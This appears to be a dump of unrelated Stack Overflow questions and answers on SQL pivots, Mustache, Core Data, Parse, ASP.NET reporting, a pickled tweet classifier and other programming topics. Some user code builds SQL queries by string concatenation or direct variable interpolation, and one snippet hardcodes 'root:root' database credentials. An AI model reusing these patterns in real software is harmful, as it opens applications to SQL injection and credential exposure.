<pre><code>DECLARE @Range_Start DATE = '2014-11-11' DECLARE @Range_End DATE = '2014-11-13' DECLARE @Date_Columns NVARCHAR(MAX); DECLARE @Sql NVARCHAR(MAX); SELECT @Date_Columns = STUFF(( SELECT DISTINCT ', ' + QUOTENAME(CONVERT(VARCHAR(10), started_at, 120)) FROM TEST_TABLE WHERE CAST(started_at AS DATE) &gt;= @Range_Start AND CAST(started_at AS DATE) &lt;= @Range_End FOR XML PATH(''),TYPE).value('.','NVARCHAR(MAX)'),1,2,'') SET @Sql = N' SELECT * FROM ( SELECT UserName, COUNT(*) AS Total, CONVERT(VARCHAR(10), started_at, 120) AS started_at FROM TEST_TABLE WHERE CAST(started_at AS DATE) &gt;= @Range_Start AND CAST(started_at AS DATE) &lt;= @Range_End GROUP BY UserName, CONVERT(VARCHAR(10), started_at, 120) ) t PIVOT ( SUM(Total) FOR started_at IN (' + @Date_Columns + ') )p ' Execute sp_executesql @Sql ,N'@Range_Start DATE, @Range_End DATE' ,@Range_Start ,@Range_End </code></pre> <h2>Result</h2> <pre><code>╔══════════╦════════════╦════════════╦════════════╗ ║ UserName ║ 2014-11-11 ║ 2014-11-12 ║ 2014-11-13 ║ ╠══════════╬════════════╬════════════╬════════════╣ ║ Holly ║ NULL ║ 2 ║ NULL ║ ║ James ║ 2 ║ NULL ║ NULL ║ ║ Jane ║ NULL ║ NULL ║ 2 ║ ║ John ║ 2 ║ NULL ║ NULL ║ ║ Mandy ║ NULL ║ 1 ║ NULL ║ ║ Mark ║ NULL ║ NULL ║ 2 ║ ║ Sally ║ NULL ║ 2 ║ NULL ║ ║ Sam ║ NULL ║ NULL ║ 2 ║ ╚══════════╩════════════╩════════════╩════════════╝ </code></pre>
30988049	0	mustache populate JSON object error <p>I have code below. I need to populate a JSON object using mustache. Unfortunately, it shows nothing to me. </p> <pre><code> &lt;script type="text/javascript"&gt; var data = "[{"PR_ID":23096,"P_ID":23014},{"PR_ID":33232,"P_ID":23014},{"PR_ID":33308,"P_ID":23014},{"PR_ID":33309,"P_ID":23014}]"; var template = $("#template").html(); Mustache.parse(template); var rendered = Mustache.render(template, data); $('#PatrList').html(rendered); &lt;/script&gt; &lt;body&gt; &lt;div id="PatrList"&gt;&lt;/div&gt; &lt;script id="template" type="x-tmpl-mustache"&gt; {{ #. }} &lt;div&gt; PR_ID: &lt;h2&gt; {{PR_ID}} &lt;/h2&gt; ---- P_ID: &lt;h2&gt; {{P_ID}} &lt;/h2&gt; &lt;/div&gt; {{ /. }} &lt;/script&gt; &lt;/body&gt; </code></pre>
36964253	0	Should Core Data Stack inherit from NSObject and why? <p>Recently it is practice to move the core data stack implementation from the app delegate to a different class. In most implementations I see that the core data stack inherits from NSObject, even in Apple's documentation. </p> <ol> <li>Is there a reason for that? It seems to work without it.</li> <li>Why is Apple's init method not calling super.init() isn't it a must have?</li> </ol> <p></p> <pre><code>import UIKit import CoreData class DataController: NSObject { var managedObjectContext: NSManagedObjectContext init() { // This resource is the same name as your xcdatamodeld contained in your project. guard let modelURL = NSBundle.mainBundle().URLForResource("DataModel", withExtension:"momd") else { fatalError("Error loading model from bundle") } // The managed object model for the application. It is a fatal error for the application not to be able to find and load its model. guard let mom = NSManagedObjectModel(contentsOfURL: modelURL) else { fatalError("Error initializing mom from: \(modelURL)") } let psc = NSPersistentStoreCoordinator(managedObjectModel: mom) managedObjectContext = NSManagedObjectContext(concurrencyType: .MainQueueConcurrencyType) managedObjectContext.persistentStoreCoordinator = psc dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_BACKGROUND, 0)) { let urls = NSFileManager.defaultManager().URLsForDirectory(.DocumentDirectory, inDomains: .UserDomainMask) let docURL = urls[urls.endIndex-1] /* The directory the application uses to store the Core Data store file. This code uses a file named "DataModel.sqlite" in the application's documents directory. */ let storeURL = docURL.URLByAppendingPathComponent("DataModel.sqlite") do { try psc.addPersistentStoreWithType(NSSQLiteStoreType, configuration: nil, URL: storeURL, options: nil) } catch { fatalError("Error migrating store: \(error)") } } } } </code></pre> <p><a href="https://developer.apple.com/library/ios/documentation/Cocoa/Conceptual/CoreData/InitializingtheCoreDataStack.html#//apple_ref/doc/uid/TP40001075-CH4-SW1" rel="nofollow">Initializing the Core Data Stack</a></p>
30083621	0	 <p>Your <code>ClickListener</code> is an inner non-static class the coupling of this 'has-a' is no different than if your class <code>Activity</code> implemented <code>View.OnClickListener</code>. This is because your inner <code>ClickListener</code> requires an instance of <code>ActivityMain</code> and really can't be reused. I would argue that you're over engineering and aren't actually gaining anything. </p> <p>EDIT: To answer your question I like to have anonymous <code>View.OnClickListener</code> for each widget. I think this creates the best separation of logic. I also have methods like <code>setupHelloWorldTextView(TextView helloWorldTextView);</code> where I put all my logic related to that widget.</p>
15598057	0	 <p>OK I found it,</p> <p>The error was the <strong>ColumnSeries</strong> was missing the <strong>Title</strong> attribute, like this:</p> <pre><code>&lt;charting:Chart Name="columnChart" Grid.Row="1" Grid.Column="1" Width="400" Height="400"&gt; &lt;charting:Chart.Series&gt; &lt;charting:ColumnSeries Title="Chart Title" ItemsSource="{Binding items}" IndependentValueBinding="{Binding Name}" DependentValueBinding="{Binding Value}" IsSelectionEnabled="True"&gt; &lt;/charting:ColumnSeries&gt; &lt;/charting:Chart.Series&gt; &lt;/charting:Chart&gt; </code></pre> <p>It seems that the <strong>Title</strong> attribute is mandatory.</p>
1518182	0	 <p><strong>#ifdef</strong> is short for <strong>#if defined</strong> and I think you don't need parenthesis on neither, so basically they are the same. </p> <p>Coming from Turbo C, I'm used to looking at <strong>#ifdef</strong> rather than <strong>#if defined</strong></p>
40639337	0	Parse Platform - Retrieve relations in object <p>Okay, so I am really quite familiar with Parse and have used most features in daily development. However, now I need to work with some many-to-many relationships and can't seem to get it to work right. I've tried reading several posts on Stack... but no luck.</p> <p>Any help would be appreciated:</p> <p>1) 'Projects' class = (main grouping class and project details) a) 'projectTasks' is setup as a relation column and points to the Tasks class.</p> <p>2) 'Tasks' class = (tasks submitted by user and grouped in projects)</p> <p>3) I want to be able to Query for certain projects, and get the relation data at same time.</p> <pre><code>test: function(){ console.warn("Running relations test....") var deferred = $q.defer() var Projects = Parse.Object.extend("Projects"); var query = new Parse.Query(Projects) query.equalTo("objectId",Parse.User.current().id) query.include("projectTasks") query.find({ success: function(res){ console.log(res) deferred.resolve(res) }, error: function(e,r){ console.log(e,r) deferred.reject(e) } }) return deferred.promise }, </code></pre> <p>The response I get never returns the actual data from the relation field... just another promise or whatever it is.</p> <p><a href="https://i.stack.imgur.com/IeGI5.png" rel="nofollow noreferrer">screen shot of response</a></p> <p>Maybe I'm just going about this all wrong. Any help would be appreciated. I want to store a project, store tasks, and be able to associate tasks to a project and quickly retrieve all the info per project.</p>
33296297	0	 <p>I think that what you are looking for are <a href="http://guides.emberjs.com/v2.1.0/templates/writing-helpers/#toc_class-based-helpers" rel="nofollow">class-based helpers</a>. You might have trouble with the resetting of the value, so keep an eye open for alternative solutions.</p>
20399116	0	Fastest way to retreive data from database <p>I am working on a ASP.NET project with C# and Sql Server 2008.</p> <p>I have three tables:</p> <p><img src="https://i.stack.imgur.com/2bGzV.png" alt="Users"> <img src="https://i.stack.imgur.com/4OXWK.png" alt="DataFields"> <img src="https://i.stack.imgur.com/tH8nI.png" alt="DataField Values"></p> <p>Each user has a specific value for each data field, and this value is stored in the DataFieldsValues.</p> <p>Now I want to display a report that looks like this:</p> <p><img src="https://i.stack.imgur.com/e76bV.png" alt="enter image description here"></p> <p>I have created the objects <code>User</code>, and <code>DataField</code>. In the DataField object, there is the Method <code>string GetValue(User user)</code>, in which I get the value of a field for a certain user.</p> <p>Then I have the list of Users <code>List&lt;User&gt; users</code> and the list of DataFields <code>List&lt;DataField&gt; fields</code> and I do the following:</p> <pre><code>string html = string.Empty; html += "&lt;table&gt;"; html += "&lt;tr&gt;&lt;th&gt;Username&lt;/th&gt;"; foreach (DataField f in fields) { html += "&lt;th&gt;" + f.Name + "&lt;/th&gt;"; } html += "&lt;/tr&gt;" foreach (User u in users) { html += "&lt;tr&gt;&lt;td&gt;" + u.Username + "&lt;/td&gt;" foreach (DataField f in fields) { html += "&lt;td&gt;" + f.GetValue(u) + "&lt;/td&gt;"; } html += "&lt;/tr&gt;" } Response.Write(html); </code></pre> <p>This works fine, but it is <strong>extremely</strong> slow, and I am talking about 20 users and 10 data fields. Is there any better way in terms of performance to achieve this? </p> <p>EDIT: For each parameter inside the classes, I retrieve the value using the following method:</p> <pre><code>public static string GetDataFromDB(string query) { string return_value = string.Empty; SqlConnection sql_conn; sql_conn = new SqlConnection(ConfigurationManager.ConnectionStrings["XXXX"].ToString()); sql_conn.Open(); SqlCommand com = new SqlCommand(query, sql_conn); //if (com.ExecuteScalar() != null) try { return_value = com.ExecuteScalar().ToString(); } catch (Exception x) { } sql_conn.Close(); return return_value; } </code></pre> <p>For instance:</p> <pre><code>public User(int _Id) { this.Id = _Id this.Username = DBAccess.GetDataFromDB("select Username from Users where Id=" + this.Id) //... } </code></pre>
37907423	1	Pickle Trained Classifier Only Return 1 Predicted Label to All Test Data <p>I'm having trouble about pickle trained classifier. I pickled a classifier that I trained using 8000 training tweets. each tweet has been labeled with 1 out of 4 labels (Health, Music, Sport and Technology) when I tried using the pickle trained classifier in new tweets for testing, it return only 1 out of 4 labels to all of new tweets. new tweets are tweets I stream directly from Twitter using Tweepy.</p> <p>here's the code I use to pickle the trained classifier using 8000 tweets for training that stored in database:</p> <pre><code>#set precision for numpy np.set_printoptions(precision=1) #get data from MySQL table using pandas engine = create_engine('mysql+mysqlconnector://root:root@localhost:3306/thesisdb?charset=utf8mb4') ttweets = pd.read_sql_query('SELECT label_id, tweet FROM training_tweets', engine) #text preprocessing (remove HTML markup, remove punctuation, tokenizing, remove stop words and stemming) using NLTK def Preprocessing(pptweets): pptweets = pptweets.lower() removeurl = re.sub(r'https:.*$',":", pptweets) removepunc = removeurl.replace("_", " ") tokenizer = RegexpTokenizer(r'\w+') tokenizetweets = tokenizer.tokenize(removepunc) removesw = [w for w in tokenizetweets if not w in stopwords.words('english')] stemmer = SnowballStemmer("english") stemmedtweets = [stemmer.stem(tokenizetweets) for tokenizetweets in removesw] return " ".join(stemmedtweets) #initialize an empty variable to hold the preprocessed tweets cleantweets = [] #loop over each tweet for i in range(0, len(ttweets["tweet"])): cleantweets.append(Preprocessing(ttweets["tweet"][i])) #text feature extraction using Bag of Words vectorizer = CountVectorizer(analyzer="word", tokenizer=None, preprocessor=None, stop_words=None, max_features=5000) #use fit_transform() to fit the model and learn the vocabulary as well as transform the training data into feature vectors traintweetsfeatures = vectorizer.fit_transform(cleantweets) #convert the result to array using Numpy traintweetsfeatures = traintweetsfeatures.toarray() #create a Logistic Regression classifier variable and train it using the training tweets clfr = LogisticRegression() x_train, y_train = traintweetsfeatures, ttweets["label_id"] clfr.fit(x_train, y_train) #save trained classifier in pkl file if os.path.exists(dest): os.remove(classifiername) os.remove(vectorizername) pickle.dump(clfr, open(os.path.join(dest, 'clfr.pickle'), 'wb'), protocol=2) pickle.dump(vectorizer, open(os.path.join(dest, 'vectorizer.pickle'), 'wb'), protocol=2) else: os.makedirs(dest) pickle.dump(clfr, open(os.path.join(dest, 'clfr.pickle'), 'wb'), protocol=2) pickle.dump(vectorizer, open(os.path.join(dest, 'vectorizer.pickle'), 'wb'), protocol=2) </code></pre> <p>and below is the code to use pickle trained classifier for predicting label of new tweets:</p> <pre><code>if request.method == 'POST': auth = OAuthHandler(ckey, csecret) auth.set_access_token(atoken, asecret) api = tweepy.API(auth) getlabelid = Label.query.filter_by(label_id=request.form['label']).first() getlabelname = getlabelid.label_name number = int(request.form['number']) def Preprocessing(pptweets): pptweets = pptweets.lower() removeurl = re.sub(r'https:.*$',":", pptweets) removepunc = removeurl.replace("_", " ") tokenizer = RegexpTokenizer(r'\w+') tokenizetweets = tokenizer.tokenize(removepunc) removesw = [w for w in tokenizetweets if not w in stopwords.words('english')] stemmer = SnowballStemmer("english") stemmedtweets = [stemmer.stem(tokenizetweets) for tokenizetweets in removesw] return " ".join(stemmedtweets) class listener(StreamListener): def __init__(self, api=None): self.api = api or API() self.n = 0 self.m = number def on_data(self, data): all_data = json.loads(data) tweet = all_data["text"] username = all_data["user"]["screen_name"] getlabelid = Label.query.filter_by(label_id=request.form['label']).first() getlabelname = getlabelid.label_name #initialize an empty variable to hold the preprocessed tweets cleantesttweet = Preprocessing(tweet) #load trained classifier &amp; bag of words dest = os.path.join('classifier', 'pkl_objects') clfr = pickle.load(open(os.path.join(dest, 'clfr.pickle'), 'rb')) vectorizer = pickle.load(open(os.path.join(dest, 'vectorizer.pickle'), 'rb')) #predict test tweet label testtweetfeatures = vectorizer.transform(cleantesttweet) result = clfr.predict(testtweetfeatures) #result = 1 ttweets = TestingTweets(label_id=result, tweet_username=username, tweet=tweet) try: db.session.add(ttweets) db.session.commit() # Increment the counter here, as we've truly successfully # stored a tweet. self.n += 1 except IntegrityError: db.session.rollback() except tweepy.error.TweepError: return False # Don't stop the stream, just ignore the duplicate. # print("Duplicate entry detected!") if self.n &gt;= self.m: #print("Successfully stored", self.m, "tweets into database") # Cross the... stop the stream. return False else: # Keep the stream going. return True def on_error(self, status): print(status) auth = OAuthHandler(ckey, csecret) auth.set_access_token(atoken, asecret) twitterStream = Stream(auth, listener()) twitterStream.filter(track=[getlabelname], languages=["en"]) label = Label.query.all() tetweet = TestingTweets.query.order_by(TestingTweets.tweet_id.desc()) return render_template('testtweets.html', labels=label, tetweets=tetweet) </code></pre> <p>does anyone can help me solve this problem?</p>
19468850	0	 <p>You can accomplish the feat with limma, also. See the example below.</p> <p>The idea is basically exactly the same as in the code you have posted, but it has not been wrapped into a function (and is therefore possibly slightly easier to debug). </p> <p>Do you get it to work with the code below? If not, please post the possible error messages and warnings that you get.</p> <pre><code># Load the library library(limma) # Generate example data set1&lt;-letters[1:5] set2&lt;-letters[4:8] set3&lt;-letters[5:9] # What are the possible letters in the universe? universe &lt;- sort(unique(c(set1, set2, set3))) # Generate a matrix, with the sets in columns and possible letters on rows Counts &lt;- matrix(0, nrow=length(universe), ncol=3) # Populate the said matrix for (i in 1:length(universe)) { Counts[i,1] &lt;- universe[i] %in% set1 Counts[i,2] &lt;- universe[i] %in% set2 Counts[i,3] &lt;- universe[i] %in% set3 } # Name the columns with the sample names colnames(Counts) &lt;- c("set1","set2","set3") # Specify the colors for the sets cols&lt;-c("Red", "Green", "Blue") vennDiagram(vennCounts(Counts), circle.col=cols) </code></pre> <p>The code should give a plot similar to:</p> <p><img src="https://i.stack.imgur.com/lu3rb.jpg" alt="enter image description here"></p>
15954472	0	 <p>You have the correct number of dashes, you just aren't printing out the number correctly. Let's examine why that is:</p> <p>Which loop prints out the numbers? The 2nd nested for loop.</p> <p>What does it do? It prints out <code>j</code> where <code>j</code> ranges from <code>1</code> to <code>9</code> and <code>j</code> is incremented by 2 each iteration of the loop. In other words, <code>1, 3, 5, 7, 9</code>, which is confirmed in your output</p> <p>What do you want it to do? Well let's look at the desired output. You want <code>1</code> to be printed <em>once</em> on the <s><em>first</em></s> first line. You want <code>3</code> to be printed <em>three</em> times on the <s><em>third</em></s> next line. You want <code>5</code> to be printed <em>five</em> times on the <s><em>fifth</em></s> next line after that. And so on.</p> <p>Do you notice a pattern? You want that loop we mentioned above to print the <em>same</em> number (<code>1</code>, <code>3</code>, <code>5</code>, ... <code>i</code>) as the number of times (<code>1</code>, <code>3</code>, <code>5</code>, ... <code>i</code>).</p> <p><strong>edit</strong> Whooops I actually misread the output. My answer is still very similar to before, but I lied about which line you are printing what. It's still <code>3</code> <em>three</em> times, <code>5</code> <em>five</em> times but different lines. The easiest way to jump from my solution to the actual one is to notice that on the even lines... you do nothing. You could arguably even write your solution this way.</p> <p>Another tip is that you should just focus on getting the numbers on each line right and the dashes separately. It's likely that you'll screw up the number of dashes when you fix the numbers on each line, but then you'll realize how to fix the dashes easily.</p>
882394	0	 <p>You <em>might</em> be able to load Flash 8 into Flash 10 but I would be very surprised if the reverse is true.</p>
12427866	0	ASP.NET MVC 3, Ajax.BeginForm, OnBegin and form validation <p>I am using Ajax.BeginForm and wish to pass in parameters to the function called with OnBegin. The following are two code snippets.</p> <pre><code>new AjaxOptions { HttpMethod = "POST", UpdateTargetId = "DataEntrySummary", OnBegin = "ValidateForm(11,55)" } function ValidateForm(minAge, maxAge) {return false;} </code></pre> <p>The parameters are passed in correctly to the ValidateForm function but the function always returns true. </p> <p>If I take the parameters out and use</p> <pre><code>OnBegin = "ValidateForm()" function ValidateForm() {return false;} </code></pre> <p>It works perfectly and returns false. Am I missing something or are parameters not allowed here or ...</p> <p>Puzzled of Oxford - thanks in advance.</p> <p>PS - I cannot use C# Attributes and Unobtrusive validation for very good reasons (these <em>are</em> code snippets).</p>
1757599	0	 <p>Are you already doing logging, and would you simply be adding the IP address in to your existing log entries? If so, this wouldn't make a major impact. It's resolving IP addresses to names that would make a performance impact.</p>
4088082	0	Store input from a text field in a PHP variable <p>Store the users input from a text field in a variable. Any ways to do this?</p>
27103390	0	Entity Framework adds Default value by itself <p>i have the following table definition (trimmed):</p> <pre><code>CREATE TABLE `mt_user` ( `Id` int(10) unsigned NOT NULL AUTO_INCREMENT, `dtUpdated` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, `idUpdatedBy` int(10) unsigned NOT NULL, `dtCreated` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP, `idCreatedBy` int(10) unsigned NOT NULL, PRIMARY KEY (`Id`) ) ENGINE=InnoDB AUTO_INCREMENT=11 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; </code></pre> <p>As you can see, no default value was assigned to <code>idUpdatedBy</code> and <code>idCreatedBy</code>.</p> <p>When trying to insert a row from workbench, it fails (since i do not provide <code>idCreatedBy</code> or <code>idUpdatedBy</code>). Which is the correct behaviour.</p> <p>On the other hand, if i use a simple form to insert using Entity Framework, the fields are populated with a <code>0</code> value, even though i have not defined a default value (neither in entity framework).</p> <p>i was expecting Entity Framework to fail the insert and throw an error about <code>idUpdatedBy</code>/<code>idCreatedBy</code> not having a value.</p> <p>Could someone explain this behaviour and how to fix it?</p>
36041070	0	Weight search in boolean mode with union mysql <p>I am using this query to search across multiple tables, which is working however I want to weigh matches to the column "title" higher than matches to the column description.</p> <pre><code>SELECT 'about' AS a.about,title,null article ,null description FROM about a WHERE ( MATCH(a.about) AGAINST ('\"$search\"' IN BOOLEAN MODE) ) UNION SELECT 'articles' AS null, b.title,b.article,b.description from articles b WHERE ( MATCH(b.title,b.article,b.description) AGAINST ('\"$search\"' IN BOOLEAN MODE) ) </code></pre> <p>I have tried adding "AS relevance1" to the end of the match as below but it returns no results:</p> <pre><code>SELECT 'about' AS a.about,title,null article ,null description FROM about a WHERE ( MATCH(a.about) AGAINST ('\"$search\"' IN BOOLEAN MODE) ) UNION SELECT 'articles' AS null, b.title,b.article,b.description from articles b WHERE ( MATCH(b.title,b.article,b.description) AGAINST ('\"$search\"' IN BOOLEAN MODE) AS relevence_1, MATCH(b.title,b.article,b.description) AGAINST ('\"$search\"' IN BOOLEAN MODE) AS relevence_2 ) ORDER BY (relevance_1 * 3) + (relevance_2 * 2) DESC </code></pre>
4713895	0	 <p>I think that in any case it would be better to use GIN (Guice for GWT) and its @Singleton annotation. But I am not sure it will solve your problem.</p>
1915189	0	 <p>Yes. But you need to do an p4 integrate to get the files over. That is what p4v "copy or rename" does. Use the rename option, that also deletes the old files.</p>
3972092	0	SQL Server - can I load MDF without LDF file without losing data? <p>I have a backup database file (i.e. test.mdf), however, I don't have the LDF file. I was told that SQL Server 2008 R2 can load MDF without LDF.</p> <p>Is that true?</p> <p>Thank you</p>
1279406	0	 <p>If it is a webapp they need to log into I would just restrict a user from being logged in more than once at a time. Other than that would wouldn't want to restrict their opening of the actual window</p>
12800801	0	 <p>Using a HEAD request, you can do something like this:</p> <pre><code>private int getFileSize(URL url) { HttpURLConnection conn = null; try { conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("HEAD"); conn.getInputStream(); return conn.getContentLength(); } catch (IOException e) { return -1; } finally { conn.disconnect(); } } </code></pre>
31067817	0	 <p>It is a bad idea, but if you change the <code>private</code> variable to a <code>public</code> one, you will achieve your goal. You probably should declare the variable as <code>final</code> as well to avoid surprises, but it is not strictly necessary, and doesn't make it a good idea (IMO).</p> <p>For what it is worth, there is no way to implement a singleton that doesn't involve an explicit variable to hold the instance, or an <code>enum</code>.</p> <hr> <p>Here is what Bloch has to say on the tradeoff between the public and private variable approaches:</p> <blockquote> <p>"One advantage of the factory-method approach is that it gives you the flexibility to change your mind about whether the class should be a singleton without changing its API. The factory method returns the sole instance but could easily be modified to return, say, a unique instance for each thread that invokes it. A second advantage, concerning generic types, is discussed in Item 27. Often neither of these advantages is relevant, and the final-field approach is simpler."</p> </blockquote> <p>My argument is that <em>knowing</em> that you won't need to change your mind in the future involves a degree of prescience. </p> <p>Or to put it another way, you can't <em>know</em> that: you can only predict that. And your prediction can be wrong. And if that prediction does turn out to be wrong, then you have to change every piece of code the accesses the singleton via the public variable.</p> <p>Now if your codebase is small, then the amount of code you need to change is limited. However, if your codebase is large, or if it is not all yours to change, then this this kind of of mistake can have serious consequences.</p> <p>That is why it is a bad idea.</p>
1910301	0	 <p>I have recently implemented DAWG for a wordgame playing program. It uses a dictionary consisting of 2,7 million words from Polish language. Source plain text file is about 33MB in size. The same word list represented as DAWG in binary file takes only 5MB. Actual size may vary, as it depends on implementation, so number of vertices - 154k and number of edges - 411k are more important figures.</p> <p>Still, that amount of data is far too big to handle by JavaScript, as stated above. Trying to process several MB of data will hang JavaScript interpreter for a few minutes, effectively hanging whole browser.</p>
12483886	0	 <p>Use File System Tasks:</p> <p>Create a variable called RmtArchPath (string)</p> <p>Set its value with the expression:</p> <blockquote> <p>"\\\\Remote_folder\\" + (DT_WSTR,4)YEAR(GETDATE()) + "-" + RIGHT("0" + (DT_WSTR,2)MONTH(GETDATE()), 2) + "-" + RIGHT("0" + (DT_WSTR,2)DAY( GETDATE()), 2) + "\\"</p> </blockquote> <p>Create a file system task. For operation choose Create Directory. For UseDirectoryIfExists choose True. For IsSourcePathVariable choose RmtArchPath.</p> <p>Create a second Variable called SrcFileName (string)</p> <p>Create a ForEachLoop Container. For Collection choose the enumerator "Foreach File Enumerator", set the Folder = \\Remote_Folder, set the files = *.csv. For Variable Mappings set the variable = User::SrcFileName.</p> <p>Connect the File system task to the loop. (from the FS task to the loop for your flow direction).</p> <p>Create a second file system task inside the loop.</p> <p>Choose Move file for the operation. Set IsDestinationPathVariable to True, Set DestinationVariable = RmtArchPath. Set IsSourcePathVariable = True, Set SourceVariable = SrcFileName.</p>
6031856	0	 <p>Okay I thought it all over.. and basically if i do understand correct you want the sum for each distinct set. </p> <blockquote> <p>So not 34 + 34 + 34 + 23 + 23 + 23 + 43 + 43 + 43 ... BUT 34 + 23 + 43</p> </blockquote> <p>In order to that you need to trick MySQL with the following query : </p> <pre><code>SELECT SUM(tot.invalid_votes) AS total FROM (SELECT DISTINCT QV, invalid_votes FROM `results`) tot </code></pre> <p>This will return the SUM of the <em>Distinct</em> values based on QV field.</p> <p>Table : </p> <pre><code>QV invalid_votes 0544 5 0544 5 0544 5 0545 6 0545 6 </code></pre> <p>based on the database information you provided i get the following result <strong>11</strong> </p>
13135501	0	 <p>You don't have access to the right image as far my knowledge, unless you override the <code>onTouch</code> event. I suggest to use a <code>RelativeLayout</code>, with one <code>editText</code> and one <code>imageView</code>, and set <code>OnClickListener</code> over the image view as below:</p> <pre><code>&lt;RelativeLayout android:id="@+id/rlSearch" android:layout_width="wrap_content" android:layout_height="wrap_content" android:background="@android:drawable/edit_text" android:padding="5dip" &gt; &lt;EditText android:id="@+id/txtSearch" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_centerVertical="true" android:layout_toLeftOf="@+id/imgSearch" android:background="#00000000" android:ems="10"/&gt; &lt;ImageView android:id="@+id/imgSearch" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentRight="true" android:layout_centerVertical="true" android:src="@drawable/btnsearch" /&gt; &lt;/RelativeLayout&gt; </code></pre>
13410856	0	How to read JSON response from Google web services in Javascript? <p>I am trying to find the distance between two locations. For that I used Google web services. I got a JSON response from that web service, but I am unable to get the distance from that JSON response in a javascript function.</p> <p>See my code below:</p> <pre><code>function myjourneysubdetails(){ var fp = jQuery('#fp').val(); var tp = jQuery('#tp').val(); var city = jQuery('#city').val(); alert(fp); $.ajax({ type : 'GET', url : 'http://maps.googleapis.com/maps/api/distancematrix/json?origins=Silk board&amp;destinations=marathahalli&amp;language=en-US&amp;sensor=false', async: false, success : function(data) { alert("Success"); var locObject = eval('(' + JSON.stringify(data) + ')'); alert("locObject: "+locObject); alert("Destination: "+locObject.destination_addresses); var origins = data.origin_addresses; var destinations = data.destination_addresses; alert('destinations'+destinations); for (var i = 0; i &lt; origins.length; i++) { var results = data.rows[i].elements; for (var j = 0; j &lt; results.length; j++) { var element = results[j]; var distance = element.distance.text; var duration = element.duration.text; var from = origins[i]; var to = destinations[j]; alert('distance'+distance); } } }, error : function(xhr, type) { alert('Internal Error Occoured! '+xhr+' : '+type); } }); } </code></pre> <p>Thanks in advance.</p>
16003170	0	 <p>First, you never want to do default initializations in calling code, you can create a constructor for your struct and do it there:</p> <pre><code>struct Neuron { Neuron() : activation(0.0), bias(0.0), incomingWeights(0) {} double activation; double bias; double *incomingWeights; }; </code></pre> <p>Then (since this is C++)</p> <pre><code>for (int i = 0; i &lt; din; i++) { ann.inputLayer[i] = new Neuron[din]; </code></pre> <p>You should use <code>new</code> over <code>malloc</code> in C++, though if you ever did need <code>malloc</code> your statement would need to be fixed, to:</p> <pre><code>ann.inputLayer = (Neuron*)malloc(din * sizeof(Neuron)); </code></pre>
38683420	0	Show hide marker using circle points openlayers 3 <p>How to show hide markers (P icon) using circle points (something like point1.distanceTo(point2))</p> <p>need to show markers If markers comes inside the circle another hide it (currently changing circle radius through slider) </p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>// we change this on input change var radius = 10; longitude = 400000; latitude = 300000; var styleFunction = function() { return new ol.style.Style({ image: new ol.style.Circle({ radius: radius, stroke: new ol.style.Stroke({ color: [51, 51, 51], width: 2 }), fill: new ol.style.Fill({ color: [51, 51, 51, .3] }) }) }); }; var update = function(value) { // $('#range').val() = value; radius = value; vectorLayer.setStyle(styleFunction); // $('#range').val(value) // document.getElementById('range').value=value; } var feature = new ol.Feature(new ol.geom.Point([longitude, latitude])); var vectorLayer = new ol.layer.Vector({ source: new ol.source.Vector({ features: [feature] }), style: styleFunction }); var rasterLayer = new ol.layer.Tile({ source: new ol.source.TileJSON({ url: 'http://api.tiles.mapbox.com/v3/mapbox.geography-class.json', crossOrigin: '' }) }); // icon marker start here var iconFeature5 = new ol.Feature({ geometry: new ol.geom.Point([longitude, latitude]), name: 'Missing Person', population: 4000, rainfall: 500 }); var vectorSource5 = new ol.source.Vector({ features: [iconFeature5] }); var vectorLayer5 = new ol.layer.Vector({ source: vectorSource5 }); var iconStyle5 = new ol.style.Style({ image: new ol.style.Icon(/** @type {olx.style.IconOptions} */ ({ anchor: [0.5, 46], anchorXUnits: 'fraction', anchorYUnits: 'pixels', src: 'https://cloud.githubusercontent.com/assets/41094/2833021/7279fac0-cfcb-11e3-9789-24436486a8b1.png' })) }); iconFeature5.setStyle(iconStyle5); // 2nd marker longitude1 = 100000; latitude1 = 100000; var iconFeature1 = new ol.Feature({ geometry: new ol.geom.Point([longitude1, latitude1]), name: 'Missing Person', population: 4000, rainfall: 500 }); var vectorSource1 = new ol.source.Vector({ features: [iconFeature1] }); var vectorLayer1 = new ol.layer.Vector({ source: vectorSource1 }); iconFeature1.setStyle(iconStyle5); var map = new ol.Map({ layers: [rasterLayer,vectorLayer,vectorLayer5,vectorLayer1], target: document.getElementById('map'), view: new ol.View({ center: [400000, 400000], zoom: 4 }) });</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>html, body, #map { height: 100%; overflow: hidden; } .input { margin: 5px 0; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="http://openlayers.org/en/v3.16.0/build/ol.js"&gt;&lt;/script&gt; &lt;div class="input"&gt; &lt;input type="range" id="range" min="10" max="50" onchange="update(this.value)"&gt; &lt;input type="text" id="range" value="10"&gt; &lt;/div&gt; &lt;div id="map" class="map"&gt;&lt;/div&gt;</code></pre> </div> </div> </p>
21726409	0	PostgreSQL - change precision of numeric? <p>I tried to change precision like this:</p> <pre><code>ALTER Table account_invoice ALTER amount_total SET NUMERIC(5); </code></pre> <p>But I get syntax error, so I'm clearly doing something wrong. What is the right syntax to change precision of numeric in PostgreSQL?</p>
1360208	0	 <p>For a more complete example that performs key derivation in addition to the AES encryption, see the answer and links posted in <a href="http://stackoverflow.com/questions/1149611/getting-slowaes-and-rijndaelmanaged-class-in-net-to-play-together">Getting AES encryption to work across Javascript and C#</a>. </p> <p><strong>EDIT</strong><br> a side note: <a href="http://www.matasano.com/articles/javascript-cryptography/" rel="nofollow noreferrer">Javascript Cryptography considered harmful.</a> Worth the read.</p>
26373691	0	 <p>Turns out I can't upload images to heroku.</p> <p>I have decided to use cloudinary for the time being.</p> <p>I will probably switch to S3 eventually.</p>
2057531	0	 <ol> <li>It's a concept available on C++ (but not exclusively)</li> <li>No, it is not available in standard C.</li> <li><strike>See 1 and 2.</strike> See *1 and *2.</li> </ol>
